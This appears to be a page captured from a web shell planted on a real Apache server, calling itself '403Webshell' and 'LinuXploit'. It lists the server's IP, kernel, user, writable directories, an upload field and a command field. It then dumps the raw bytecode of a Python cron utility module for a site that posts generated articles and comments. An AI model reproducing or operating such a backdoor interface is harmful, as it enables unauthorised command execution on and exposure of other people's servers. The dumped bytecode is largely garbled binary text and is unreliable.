403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/www/html/api.johnturman.net/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/www/html/api.johnturman.net/__pycache__/cron_common.cpython-310.pyc
o

�Dj�H�@sXdZddlZddlmZddlmZddlZddlZddlm	Z	m
Z
mZddlm
Z
ee�jdZe
ed�dd	lmZdd
lmZddlmZddlmZdd
lmZmZmZd4de	edeee	eeeeeeee	ee	ee	ee	ee	eeffdd�Z d4de	edeee	eeffdd�Z!d5dd�Z"deddfdd�Z#deeeeeffdd�Z$dededefdd�Z%ded ededefd!d"�Z&d#eded eded$ede
efd%d&�Z'		'd6d(e
ed#ed ed)e	ed*ede
efd+d,�Z(d-e
eded ed$eddf
d.d/�Z)d-e
eded ed$ede
ef
d0d1�Z*d-e
eded ed$ede
ef
d2d3�Z+dS)7z�
Common utilities and setup functions for cron scripts.

This module provides shared functionality for article and comment generation scripts,
reducing code duplication and ensuring consistent behavior.
�N)�RotatingFileHandler)�Path)�Optional�List�Tuple)�load_dotenvz.env)Zdotenv_path)�	WpService)�
DrupalService)�SiteConfigService)�ChatService)�	Character�
SiteConfig�WpUser�	help_text�returncCs�ttj�dkr|rt|�ntd�t�d�tjd}d}dtjvrCtj�d�}|dttj�kr:tj|d}n	td�t�d�d}dtjvr�tj�d�}|dttj�kr�tj|d}z&t|d	d
d��}|����}Wd�n1sywYtd|���Wn;t	y�td
|���t�d�Yn't
y�}ztd|���t�d�WYd}~nd}~wwtd�t�d�dtjv}dtjv}	dtjv}
dtjv}dtjv}dtjv}
d}dtjv�rtj�d�}|dttj�kr�tj|d}n	td�t�d�d}dtjv�r?tj�d�}|dttj�k�r6tj|d}|dv�r5td�t�d�n	td�t�d�d}dtjv�r�tj�d�}|dttj�k�r�zttj|d�}|dk�sk|dk�rttd�t�d�Wnt�y�td�t�d�Yn
wtd �t�d�d}d!tjv�r�tj�d!�}|dttj�k�r�tj|d}n	td"�t�d�d}d#tjv�r�tj�d#�}|dttj�k�r�tj|d}n	td$�t�d�d%tjv�rftj�d%�}|dttj�k�r]tj|d}z't|d	d
d��}|����}Wd�n	1�swYtd&|���Wn=t	�y>td'|���t�d�Yn(t
�y\}ztd(|���t�d�WYd}~nd}~wwtd)�t�d�|||||	|
||
||||||fS)*a0
    Parse command-line arguments for article creation.

    Args:
        help_text: Help text to display when no arguments provided (typically __doc__)

    Returns:
        Tuple of (site_id, character_name, character_description_override,
                  generate_featured_image, generate_secondary_image,
                  run_fact_check, research_current_events, include_previous_articles,
                  series_name, search_depth_override, chunks_per_source_override,
                  seed_image_url, seed_image_instructions, run_corrections)
    �z4Usage: python create_articles.py <site_id> [options]�N�--character�,Error: --character requires a character name�z--character-description-file�r�utf-8��encodingz,Loaded character description override from: z-Error: Character description file not found: z*Error reading character description file: z8Error: --character-description-file requires a file pathz--featured-imagez--secondary-imagez--fact-checkz
--correctionsz--current-eventsz--no-previous-articlesz--seriesz&Error: --series requires a series namez--search-depth)ZbasicZadvancedz3Error: --search-depth must be 'basic' or 'advanced'z:Error: --search-depth requires a value (basic or advanced)z--chunks-per-source�z2Error: --chunks-per-source must be between 1 and 3z4Error: --chunks-per-source requires an integer valuez1Error: --chunks-per-source requires a value (1-3)z--seed-image-urlz&Error: --seed-image-url requires a URLz--seed-image-instructionsz2Error: --seed-image-instructions requires a stringz--seed-image-instructions-filez%Loaded seed image instructions from: z/Error: Seed image instructions file not found: z,Error reading seed image instructions file: z:Error: --seed-image-instructions-file requires a file path)
�len�sys�argv�print�exit�index�open�read�strip�FileNotFoundError�	Exception�int�
ValueError)r�site_id�character_name�idxZcharacter_description_overrideZdescription_file�f�eZgenerate_featured_imageZgenerate_secondary_imageZrun_fact_checkZrun_correctionsZresearch_current_eventsZinclude_previous_articlesZseries_nameZsearch_depth_overrideZchunks_per_source_overrideZseed_image_urlZseed_image_instructionsZseed_instructions_file�r-�/tsai/repo/api/cron_common.py�parse_article_argumentss�





���









�

��


���
�r/c
Cs�ttj�dkr|rt|�ntd�t�d�tjd}d}dtjvrCtj�d�}|dttj�kr:tj|d}n	td�t�d�d}dtjvr�tj�d�}|dttj�kr�tj|d}z&t|d	d
d��}|����}Wd�n1sywYtd|���Wn;t	y�td
|���t�d�Yn't
y�}ztd|���t�d�WYd}~nd}~wwtd�t�d�|||fS)z�
    Parse command-line arguments for comment creation.

    Args:
        help_text: Help text to display when no arguments provided (typically __doc__)

    Returns:
        Tuple of (site_id, character_name, user_instructions)
    rz4Usage: python create_comments.py <site_id> [options]rNrrrz--instructions-filerrrzLoaded instructions from: z$Error: Instructions file not found: z!Error reading instructions file: z/Error: --instructions-file requires a file path)rrrrrr r!r"r#r$r%)rr(r)r*�user_instructionsZinstructions_filer+r,r-r-r.�parse_comment_arguments�sD






���

r1cCsdS)uj
    Internet connectivity check — disabled.
    On production servers, connectivity is guaranteed.
    Nr-r-r-r-r.�check_internet_connectivity�sr2�log_filenamecCs2d|��}t|ddd�}tjtjdd|gd�dS)	z
    Configure logging with rotating file handler.

    Args:
        log_filename: Name of the log file (e.g., 'api.log')
    zlogs/i��)ZmaxBytesZbackupCountz@%(levelname)s %(asctime)s %(filename)s ln %(lineno)s %(message)sz%m/%d/%Y %I:%M:%S %p)�level�format�datefmt�handlersN)r�logging�basicConfig�INFO)r3Zlog_path�handlerr-r-r.�
setup_logging�s

�r=cCs$t�}t�}t�}t�}||||fS)z�
    Initialize all required service instances.

    Returns:
        Tuple of (wp_service, drupal_service, site_config_service, chat_service)
    )rr	r
r)�
wp_service�drupal_service�site_config_service�chat_servicer-r-r.�initialize_services�s
rBr@r(cCsR|�|�}td|���|st�d|���td�t�d�t�d|���|S)z�
    Load and validate site configuration.

    Args:
        site_config_service: Site configuration service instance
        site_id: Site slug identifier

    Returns:
        Site configuration object
    zsite config is zInvalid site slug: z
Invalid slug!r)Zget_site_by_slugrr9�errorrr�info)r@r(�siter-r-r.�load_site_config	s

rFr>rEcCsD|�|�}|rt|t�s t�d|�d|���td�t�d�|S)z�
    Retrieve WordPress JWT token for the site.

    Args:
        wp_service: WordPress service instance
        site: Site configuration object
        site_id: Site slug identifier

    Returns:
        JWT token string
    z!Failed to get JWT token for site z: zInvalid token!r)�
get_jwt_token�
isinstance�strr9rCrrr)r>rEr(�wp_tokenr-r-r.rG s

rGr?rJc
Cs(z]|jst�d|���td|���t�d�|�|j�}|��}||}t�d|j�dt	|����|�
||�}|�||�}|durKg}t�d�|�
|||�}	t�dt	|	����Wn(ty�}
ztjd	|
��d
d�td|
���t�d�WYd}
~
nd}
~
ww|	D]	}|�|||�q�|	S)
a}
    Fetch characters from Drupal, filter by site, and add WordPress user data.

    Args:
        drupal_service: Drupal service instance
        wp_service: WordPress service instance
        site: Site configuration object
        site_id: Site slug identifier
        wp_token: WordPress JWT token

    Returns:
        List of filtered characters with WordPress user data
    z(No drupal_target_id configured for site z/Error: No drupal_target_id configured for site rz!fetched characters for target_id z (incl. system-wide): Nz-No WordPress users returned, using empty listzfiltered characters: z&Failed to fetch or filter characters: T)�exc_infozError fetching characters: )Zdrupal_target_idr9rCrrrZfetch_characters_by_uidZfetch_system_wide_charactersrDrZcreate_charactersZ	get_users�warningZfilter_charactersr%Zadd_to_character)r?r>rEr(rJZcharacter_dataZsystem_wide_data�
charactersZ
wp_users_data�filtered_charactersr,�	characterr-r-r.�fetch_and_filter_characters6s6

���rP�commentsPerDayrNr)�fieldc	Cs�|rOd}|D]}|j|kr|}nq|r'|g}td|���t�d|���n/td|�d��t�d|�d��dd	�|D�}td
d�|����t�d�n|j||d
�}|sft�d�td�t�d�|S)aZ
    Select characters for content generation.

    If character_name is provided, only that character is selected.
    Otherwise, uses the calendar-schedule selection algorithm.

    Args:
        filtered_characters: List of all available characters
        drupal_service: Drupal service instance
        site: Site configuration object
        character_name: Optional specific character name to use
        field: Content type to schedule against ('commentsPerDay' or 'articlesPerDay'),
            used to pick the matching calendar schedule

    Returns:
        List of selected characters
    NzSINGLE CHARACTER MODE: Using zSingle character mode: zError: Character "z"" not found in filtered characterszCharacter "z" not foundcSsg|]}|j�qSr-)�name)�.0�cr-r-r.�
<listcomp>�sz%select_characters.<locals>.<listcomp>zAvailable characters: z, r)rRzNo characters selected.r)	rSrr9rDrC�joinrrZselectCharacters)	rNr?rEr)rRZselected_characterrOrMZ	availabler-r-r.�select_charactersos,
�

rXrMcCs�|D]K}t�d|j�d��t�d|j���|jr?t|jt�r?|j||d|jjd�|_	|j	dur>g|_	t�
d|jj���ng|_	t�dt|j	����qdS)	aM
    Load each character's own articles (filtered by author).

    Modifies characters in-place by setting their articles attribute.

    Args:
        characters: List of characters to load articles for
        wp_service: WordPress service instance
        site: Site configuration object
        wp_token: WordPress JWT token
    zName: z IS POSTING!z
Description: �d)Z	author_idNz No articles returned for author zCharacter articles: )r9rDrS�description�wp_userrHr�get_recent_articles�idZarticlesrLr)rMr>rErJrOr-r-r.�load_character_articles�s�
��r^cC�g}|D]-}|jr,t|jt�r,|�|||jj�r,t�d|j�d��td|j�d��q|�	|�qt
|�t
|�krKt
|�t
|�}t�d|�d��|S)aJ
    Filter out characters that have already posted an article today.

    Args:
        characters: List of selected characters
        wp_service: WordPress service instance
        site: Site configuration object
        wp_token: WordPress JWT token

    Returns:
        List of characters that have not yet posted today
    �	Skipping z!: already posted an article today�
Filtered out z' character(s) that already posted today)r[rHrZhas_author_posted_todayr]r9rDrSr�appendr�rMr>rErJZfilteredrOZskippedr-r-r.�filter_already_posted_today��rdcCr_)aL
    Filter out characters that have already posted a comment today.

    Args:
        characters: List of selected characters
        wp_service: WordPress service instance
        site: Site configuration object
        wp_token: WordPress JWT token

    Returns:
        List of characters that have not yet commented today
    r`z: already commented todayraz* character(s) that already commented today)r[rHrZhas_author_commented_todayr]r9rDrSrrbrrcr-r-r.�filter_already_commented_today�rerf)N)rN)NrQ),�__doc__r9Zlogging.handlersrZpathlibrZrequestsr�typingrrrZdotenvr�__file__�parentZenv_pathZapp.services.wprZapp.services.drupalr	Z app.services.site_config_servicer
Zapp.services.chatrZapp.appTypesrr
rrI�boolr&r/r1r2r=rBrFrGrPrXr^rdrfr-r-r-r.�<module>s�
P&
4�����
�=������
�6����
�#����
�"�����

Youez - 2016 - github.com/yon3zu
LinuXploit